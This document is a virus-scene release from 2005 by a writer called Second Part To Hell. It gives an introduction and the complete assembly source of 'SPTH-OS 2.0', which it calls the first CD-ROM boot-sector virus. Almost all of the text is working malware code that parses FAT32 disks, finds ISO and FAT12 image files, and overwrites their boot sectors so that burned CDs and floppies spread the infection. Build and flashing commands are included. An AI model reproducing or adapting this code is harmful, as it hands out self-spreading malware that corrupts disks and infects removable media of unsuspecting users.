SPTH-OS 2.0
by Second Part To Hell/[rRlf]
www.spth.de.vu
spth@priest.com
written from January 2005 - April 2005
in Austria
What you can see below is the world's first bootsectorvirus for CD-ROMs.
The virus infects ISO-9660 El Torito Images in the Root Directory of the
first partition on the Harddisk. It also infects FAT12 .IMG Imagefiles.
El Torito is maybe the most often used Bootable CD-Image, and it's used by
for instance Ahead Nero Burning-ROM.
When the virus infects an ISO image, and the user burns this image to a
CD-ROM, the CD-ROM is infected, and the virus can not be removed anymore.
When the user now forgets the CD-ROM in the drive, and BIOS tests the
CD-Boot, the next images became infected.
The features:
- First CD-ROM bootsector virus
- Works at CD-ROMs and floppys
- Own FAT32 Filesystem driver
- ISO-9660 El Torito Images infection
- FAT12 Image file infection
The differences to other bootsector virus is, that it does not use the OS's
functions but use it's own Filesystem driver. This was of course a lot of
work, but I guess that it was a success.
There is one known bug: the virus does not infect files at very huge and
full-trashed root directories, as it just searchs files in the first 16
sectors (256 entries), but this is very unusual. (But you have to know that
also deleted files/dirs are saved in the root directory)
Compile:
- - -
del kernel.bin
cls
fasm kernel.asm kernel.bin
rawrite -f kernel.bin -d A -n
pause
shutdown -r -f -t 1 -c "SPTH-OS v2.0"
- - -
Well, the first prove-of-concept CD-ROM bootsector virus has been writen,
now let's move to other projects...
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
org 0x7c00 ; Offsets + 0x7C00, as the bootsector will be loaded at 0x7C00
stfat:
jmp startboot ; Jump over FAT12 table
nop
db 0x4D,0x53,0x44,0x4F,0x53,0x35,0x2E,0x30 ; FAT12 Table
db 0x00,0x02,0x01,0x01,0x00,0x02,0xE0,0x00
db 0x40,0x0B,0xF0,0x09,0x00,0x12,0x00,0x02
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x29,0x8C,0x22,0x2F,0x7C
db 0x4E,0x4F,0x20,0x4E,0x41,0x4D,0x45,0x20
db 0x20,0x20,0x20,0x46,0x41,0x54,0x31,0x32
db 0x20,0x20,0x20
startboot:
cli ; No Interrupts
mov ax,0x9000 ; Make the stack at 0x9000
mov ss, ax ; Stack=0x9000
mov sp, 0 ; Stackpointer=0x0
sti ; Allow Interrupts
mov [bootdrv], dl ; Save the bootdevice
loada:
push ds ; Save DS
mov ax, 0 ; Function: Diskdrive reset
mov dl, [bootdrv] ; Bootdevice to dl
int 0x13 ; Execute
pop ds ; Get DS
jc loada ; If Error, do it again
load1:
mov ax, 0x1000 ; Where to read: 0x1000
mov es, ax ; ES=0x1000
mov bx, 0 ; BX=0
mov ah, 0x2 ; Read sectors
mov al, 0x3 ; Read 3 sectors
mov cx, 2 ; Start at sector 2
mov dx, 0 ; At current disk (or emulated disk)
int 0x13 ; Execute
jc load1 ; If error, do it again
mov ax, 0x1000 ; AX=0x1000
mov es, ax ; ES=0x1000
mov ds, ax ; DS=0x1000
push ax ; push 0x1000 to stack
mov ax, 0 ; AX=0x0
push ax ; push 0x0 to stack
retf
bootdrv db 0 ; Byte for bootdevice
endboot:
times (512-(endboot-stfat)-2) db 0
dw 0xAA55
org 0x0 ; Offsets + 0x0
start:
mov bx, 0x2000 ; bx=0x2000
mov es, bx ; Data will be read to ES:BX, ES=0x2000
mov ds, bx
xor bx, bx ; BX=0x0
mov ah, 0x2 ; Read
mov al, 0x1 ; 1 Sector
mov cl, 1 ; Start at sector 1
mov ch, 0 ; Cylinder=0
mov dh, 0 ; Head=0
mov dl, 0x80 ; Drive=0x80=HD
int 0x13 ; Read MBR
xor bx, bx ; bx=0=Start of MBR
mov ax, [bx+454] ; ax=1st Partition's start: Partitiontable (446) + 8 = 454
mov cl, [bx+447] ; cl=Sector of 1st Partition in CHS: 446 + 1 = 447
mov dh, [bx+448] ; dh=Head of 1st Partition in CHS: 446 + 2 = 448
mov ch, [bx+449] ; ch=Cylinder of 1st Partition in CHS: 446 + 3=449
mov bx, 0x1000 ; bx=0x1000
mov es, bx ; Data will be read to ES:BX, ES=0x1000
mov ds, bx
xor bx, bx ; BX=0x0
mov [BootSecPar], ax ; Save 1st Partition's start in LBA
mov ah, 0x2 ; Read
mov al, 0x10 ; 16 Sector
mov dl, 0x80 ; Drive=0x80=HD
mov bx, 0x2000 ; bx=0x2000
mov es, bx ; Data will be read to ES:BX, ES=0x2000
mov ds, bx
xor bx, bx ; BX=0x0
int 0x13 ; Read First Sector of Partition
xor bx, bx ; BX=0x0
mov ah, [bx+24] ; ah=BPB_SecPerTrk: For CHS calculation
mov al, [bx+26] ; al=BPB_NumHeads: For CHS calculation
mov cl, [bx+13] ; cl=Sector per cluster
mov ch, [bx+16] ; ch=Number of FATs
mov si, [bx+14] ; si=Reserved Sectors
mov ebp, [bx+44] ; ebp=RootCluster
mov edx, [bx+36] ; edx=Sectors per FAT
mov bx, 0x1000 ; bx=0x2000
mov es, bx ; Data will be read to ES:BX, ES=0x2000
mov ds, bx
xor bx, bx ; BX=0x0
mov [TotalSector], ah ; Save BPB_SecPerTrk
mov [TotalHead], al ; Save BPB_NumHeads
mov [SecPerClust], cl ; Save Sector per cluster
mov [ReservedSec], si ; Save Reserved Sector
mov [NumOfFats], ch ; Save Number Of FATs
mov [SecPerFat], edx ; Save Sector Per FAT
mov [LBA], ebp ; Save Root Cluster
call getLBA ; Get the real sector number
; Returns the real sector number in EAX
call CHS ; CHS
mov ah, 0x2 ; Read
mov al, 0x10 ; 16 Sector
mov cl, [sector] ; Start at sector ??
mov ch, [cylinder] ; Cylinder=?
mov dh, [head] ; Head=??
mov dl, 0x80 ; Drive=0x80=HD
mov bx, 0x2000 ; bp=0x2000
mov es, bx ; Data will be read to ES:BX, ES=0x2000
mov ds, bx
xor bx, bx
int 0x13 ; Read Sectors
fat32read:
mov cx, 0x2000 ; cx=0x2000
mov es, cx ; Data will be read to ES:BX, ES=0x2000
mov ds, cx
mov ah, [bx] ; ah=First byte of Filename
test ah, ah ; Check if zero. If zero, it's the last entry
jz ende_a ; If it's the last entry of this directory, stopp the filesearching
cmp ah, 0xE5 ; Check if the byte is 0xE5. If so, it's a deleted file
je fat32next ; If deleted file, get next entry
mov al, [bx+2] ; al=3rd letter of name
test al, al ; Check if zero
jz fat32next ; If zero, get next entry
mov al, [bx+11] ; Move the Filetype to AL
cmp al, 0x10 ; Compaire with 0x10 (=Directory)
je fat32next ; If it's a directory, save the cluster
mov ax, word [bx+8] ; 9th and 10th Letter to ax
cmp ax, 'IM' ; Check if it's 'IM'
jne fat32noimg ; If not, no IMG file
mov al, byte [bx+10] ; Move 10th letter to al
cmp al, 'G' ; Check if 10th letter='G'
jne fat32noimg ; If not, no IMG file
mov eax, [bx+0x1C] ; eax=Size of file
cmp eax, (totalend-start)+512 ; Minimum size of file: 1st sector+viruslength
js fat32next ; If not big enough, not infect this file
push bx
call infectionIMG ; Infection!
pop bx
fat32noimg:
mov ax, word [bx+8] ; 9th and 10th Letter to ax
cmp ax, 'IS' ; Check if it's 'IS'
jne fat32noiso ; If not, no ISO file
mov al, byte [bx+10] ; Move 10th letter to al
cmp al, 'O' ; Check if 10th letter='S'
jne fat32noimg ; If not, no IMG file
push bx
call infectionISO ; Infection!
pop bx
fat32noiso:
fat32next:
add bx, 0x20 ; Next entry
jmp fat32read
infectionIMG:
mov ax, [bx+20] ; High number of cylinder to ax
shl eax, 0x10 ; High number in e-part of eax
mov ax, [bx+26] ; Low number of cylinder to ax
mov bx, 0x1000 ; ax=0x1000
mov es, bx ; Data will be read to ES:BX, ES=0x1000
mov ds, bx
xor bx, bx ; BX=0x0
mov [LBA], eax ; DataCluster=EAX
call getLBA ; Get the real sector number
; Returns the sector number in EAX
mov [LBA], eax ; Save the LBA
call CHS ; Get the CHS of the real sector number
mov ah, 0x2 ; Read
mov al, 0x1 ; 1 Sector
mov cl, [sector] ; Start at sector ??
mov ch, [cylinder] ; Cylinder=?
mov dh, [head] ; Head=??
mov dl, 0x80 ; Drive=0x80=HD
mov bx, 0x3000 ; bx=0x3000
mov es, bx ; Data will be read to ES:BX, ES=0x3000
mov ds, bx
xor bx, bx ; BX=0x0
int 0x13 ; Read Sectors
mov eax, [bx+0x37] ; At 0x36: "FAT12"-mark
cmp eax, 'AT12' ; Compaire the values
call infectimgwrite ; If equal, infect it
ret ; Otherwise return to the file-search procedure
infectimgwrite:
mov ax, 0x1000 ; AX=0x1000 (Virus in Memory)
mov ds, ax ; DS=0x1000
mov ax, 0x3000 ; AX=0x3000 (Bootsector of File in Memory)
mov es, ax
mov cx, 62 ; Length of 1st sector data
mov si, fat12bootsector ; Where the data is
mov di, 0x3E ; The FAT12 at 1st sector in IMG file
rep movsb ; Move CX bytes from DS:SI to ES:DI
; Move 62 bytes from 0x1000:data1stsector to 0x3000:0x3E
mov bx, 0x3000 ; bx=0x3000
mov es, bx ; Data will be read to ES:BX, ES=0x3000
mov ds, bx
xor bx, bx ; BX=0x0
mov ax, 0x3CEB ; AX=Jmp over FAT12 Table
mov [bx], ax ; Write the JMP to the changed sector
mov bx, 0x1000 ; bx=0x1000
mov es, bx ; Data will be read to ES:BX, ES=0x1000
mov ds, bx
xor bx, bx ; BX=0x0
mov ah, 0x3 ; Write
mov al, 0x1 ; 1 Sector
mov cl, [sector] ; Start at sector ??
mov ch, [cylinder] ; Cylinder=?
mov dh, [head] ; Head=??
mov dl, 0x80 ; Drive=0x80=HD
mov bx, 0x3000 ; bx=0x3000
mov es, bx ; Data will be read to ES:BX, ES=0x3000
mov ds, bx
xor bx, bx ; BX=0x0
int 0x13 ; Write Bootsector
mov bx, 0x1000 ; bx=0x1000
mov es, bx ; Data will be read to ES:BX, ES=0x3000
mov ds, bx
xor bx, bx ; BX=0x0
mov cx, 3 ; Do it 3 times
WriteSecs:
push cx
push bx
mov eax, [LBA]
mov edx, 4
sub dx, cx
add eax, edx ; Get next sector
xor edx, edx
call CHS ; CHS
pop bx ; restore bx
mov ah, 0x3 ; Write
mov al, 0x1 ; 1 Sector
mov cl, [sector] ; Start at sector ??
mov ch, [cylinder] ; Cylinder=??
mov dh, [head] ; Head=??
mov dl, 0x80 ; Drive=0x80=HD
int 0x13 ; Write Sectors
pop cx ; Restore cx
add bx, 0x200 ; Next sector
loop WriteSecs
ret
infectionISO:
mov ax, [bx+20] ; High number of cylinder to ax
shl eax, 0x10 ; High number in e-part of eax
mov ax, [bx+26] ; Low number of cylinder to ax
mov bx, 0x1000 ; ax=0x1000
mov es, bx ; Data will be read to ES:BX, ES=0x1000
mov ds, bx
xor bx, bx ; BX=0x0
mov [LBA], eax ; DataCluster=EAX
call getLBA ; Get the sector number
push eax ; Save the start of the file
add eax, 17*4 ; Bootrecord Volume is ALWAYS at CD-ROM Sector 17
; A CD-ROM sector is ALWAYS 0x800
; A HD sector is ALWAYS (?) 0x200 (0x200*4[!]=0x800)
; We now have the sector of the Boot Record Volume of the ISO file at the HD
call CHS ; Now calculate the CHS
mov ah, 0x2 ; Read
mov al, 0x1 ; 1 Sector
mov cl, [sector] ; Start at sector ??
mov ch, [cylinder] ; Cylinder=?
mov dh, [head] ; Head=??
mov dl, 0x80 ; Drive=0x80=HD
mov bx, 0x3000 ; bx=0x3000
mov es, bx ; Data will be read to ES:BX, ES=0x3000
mov ds, bx
xor bx, bx ; BX=0x0
int 0x13 ; Read Sector
; Now we have the Boot Record Volume
pop ecx ; ECX=Start of file
mov eax, [bx+7] ; Move Byte 7-10 to eax
cmp eax, 'EL T' ; Check if it's a bootable ISO file
; String should be 'EL TORITO SPECIFICATION'
jne EndISOInfection ; If not: SHIT! ;)
push ecx ; Save the Start of the file again
mov eax, [bx+71] ; Move the 'Absolute pointer to first sector of Boot Catalog' to eax
mov edx, 4
mul edx ; You know: 0x800/0x200=4; Now it's the right sectornumber
add eax, ecx ; Sector number at HD
mov bx, 0x1000 ; bx=0x1000
mov es, bx ; Data will be read to ES:BX, ES=0x1000
mov ds, bx
xor bx, bx ; BX=0x0
call CHS ; Get the CHS
mov ah, 0x2 ; Read
mov al, 0x1 ; 1 Sector
mov cl, [sector] ; Start at sector ??
mov ch, [cylinder] ; Cylinder=?
mov dh, [head] ; Head=??
mov dl, 0x80 ; Drive=0x80=HD
mov bx, 0x3000 ; bx=0x3000
mov es, bx ; Data will be read to ES:BX, ES=0x3000
mov ds, bx
xor bx, bx ; BX=0x0
int 0x13 ; Read Sector
; Now we have the Boot Catalog
pop ecx ; Get Start of the file
mov al, [bx+32] ; AL=Boot Indicator: 0x88=bootable
cmp al, 0x88 ; Check if it's bootable
jne EndISOInfection ; If not: SHIT! ;)
mov eax, [bx+40] ; This is the start sector of the virtual Disk
mov edx, 4 ; EDX=4
mul edx ; EAX=The real Sector in the file
add eax, ecx ; EAX=The Sector of it on the HD
mov bx, 0x1000 ; bx=0x1000
mov es, bx ; Data will be read to ES:BX, ES=0x1000
mov ds, bx
xor bx, bx ; BX=0x0
mov [LBA], eax
call CHS ; Get the CHS
mov ah, 0x2 ; Read
mov al, 0x1 ; 1 Sector
mov cl, [sector] ; Start at sector ??
mov ch, [cylinder] ; Cylinder=?
mov dh, [head] ; Head=??
mov dl, 0x80 ; Drive=0x80=HD
mov bx, 0x3000 ; bx=0x3000
mov es, bx ; Data will be read to ES:BX, ES=0x3000
mov ds, bx
xor bx, bx ; BX=0x0
int 0x13 ; Read Sector
; Now we have the Bootsector of the virtual Disk
call infectimgwrite ; Infect the file!!!
EndISOInfection:
ret
ende_a:
mov ax, 0x1000 ; ax=0x1000
mov es, ax ; Data will be read to ES:BX, ES=0x1000
mov ds, ax
xor bx, bx ; BX=0x0
mov cx, 116 ; 116 Letters
mov si, endmsg ; si=Offset of String
jmp eee
putstra:
lodsb ; [si]->al
mov ah, 0xE ; ah=0xE: Print Letter to Screen
mov bx, 0x7
int 0x10 ; call
loop putstra ; Next Letter
mov al, 13
mov ah, 0xE
mov bx, 0x7
int 0x10
mov al, 10
mov ah, 0xE
mov bx, 0x7
int 0x10
ret
eee: call putstra
mov ah, 0 ; ah=0: Get Key BIOS Function
int 0x16 ; Call
jmp reboot ; Now let's reboot!
CHS:
xor ebx, ebx ; ebx=0
mov bl, [TotalSector] ; Total Sectors
div ebx ; EDX:EAX DIV EBX=
; EAX= Quotient
; EDX= Reminder
inc dx ; Reminder+1=Sector
mov [sector], dl ; Sector=Reminder (not more than 0xFF)
mov [cylhead], eax
mov edx, eax ; EDX=Quotient
shr edx, 16 ; DX=High number of quotient
xor bx, bx ; BX=0
mov bl, [TotalHead] ; Total Heads
div bx ; DX:AX DIV BX=
; AX= Quotient
; DX= Reminder
mov [head], dl ; Head=Reminder
mov [cylinder], al ; Cylinder=Quotient
shl ah, 6 ; 0000 00?? -> ??00 0000
mov al, [sector] ; high two bits of cylinder (bits 6-7, hard disk only)
or al, ah ; 00xx xxxx -> ??xx xxxx
mov [sector], al ; Save!
ret
getLBA:
;; Find Data:
;; (boot sector)+(number of fats)*(sectors per fat)+(reserved sectors)+(Data cluster-2)*(sectors per cluster)
;; DataCluster saved in LBA
mov eax, [SecPerFat] ; eax=SecPerFat
xor bx, bx ; bx=0
mov bl, [NumOfFats] ; bl=NumOfFats
mul bx ; AX*BX=DX:AX
mov [FATCalc], ax ; Save the result
xor eax, eax ; EAX=0
mov al, [SecPerClust] ; al=SecPerClust
mov ebx, [LBA] ; ebx=DataCluster
sub ebx, 2 ; DataCluster-=2
mul ebx ; EAX*EBX=EDX:EAX
mov [ClustCalc], eax ; Save the result
xor eax, eax ; eax=0
mov ax, [BootSecPar] ; AX=Sectors before the 1st partition
xor ebx, ebx ; ebx=0
mov bx, [FATCalc] ; BX=(number of fats)*(sectors per fat)
add eax, ebx ; AX+=BX
mov bx, [ReservedSec] ; BX=Reserved Sectors
add eax, ebx ; AX+=BX
mov ebx, [ClustCalc] ; BX=(Root Cluster-2)*(Sectors per Cluster)
add eax, ebx ; AX+=BX
xor edx, edx ; EDX=0
ret
endmsg db 13,10,13,10,13,10
db 'Thank you for using SPTH-OS 2.0!',13,10
db 'This may spread better then Windows(c)(r)tm ;-)',13,10
db 'by Second Part To Hell/rRlf'
sector db 0x0
head db 0x0
cylinder db 0x0, 0x0
cylhead dd 0x0
bit2cyl db 0x0
LBA dd 0x0
BootSecPar dw 0x0
TotalSector db 0x0 ; BPB_SecPerTrk: For CHS calculation
TotalHead db 0x0 ; BPB_NumHeads: For CHS calculation
SecPerClust db 0x0 ; Offset 13
ReservedSec dw 0x0 ; Offset 14
NumOfFats db 0x0 ; Offset 16
SecPerFat dd 0x0 ; Offset 36
FATCalc dw 0x0 ; NumOfFats*SecPerFat (should not be greater than 0xFFFF)
ClustCalc dd 0x0 ; (RootClust-2)*(SecPerClust)
fat12bootsector:
db 0xFA,0xB8,0x00,0x90,0x8E,0xD0,0xBC,0x00
db 0x00,0xFB,0x88,0x16,0x7C,0x7C,0x1E,0xB8
db 0x00,0x00,0x8A,0x16,0x7C,0x7C,0xCD,0x13
db 0x1F,0x72,0xF3,0xB8,0x00,0x10,0x8E,0xC0
db 0xBB,0x00,0x00,0xB4,0x02,0xB0,0x03,0xB9
db 0x02,0x00,0xBA,0x00,0x00,0xCD,0x13,0x72
db 0xEA,0xB8,0x00,0x10,0x8E,0xC0,0x8E,0xD8
db 0x50,0xB8,0x00,0x00,0x50,0xCB
reboot:
db 0xEA ; Hexdump for reboot: jmp 00FF:FF00
dw 0x0
dw 0xFFFF
totalend: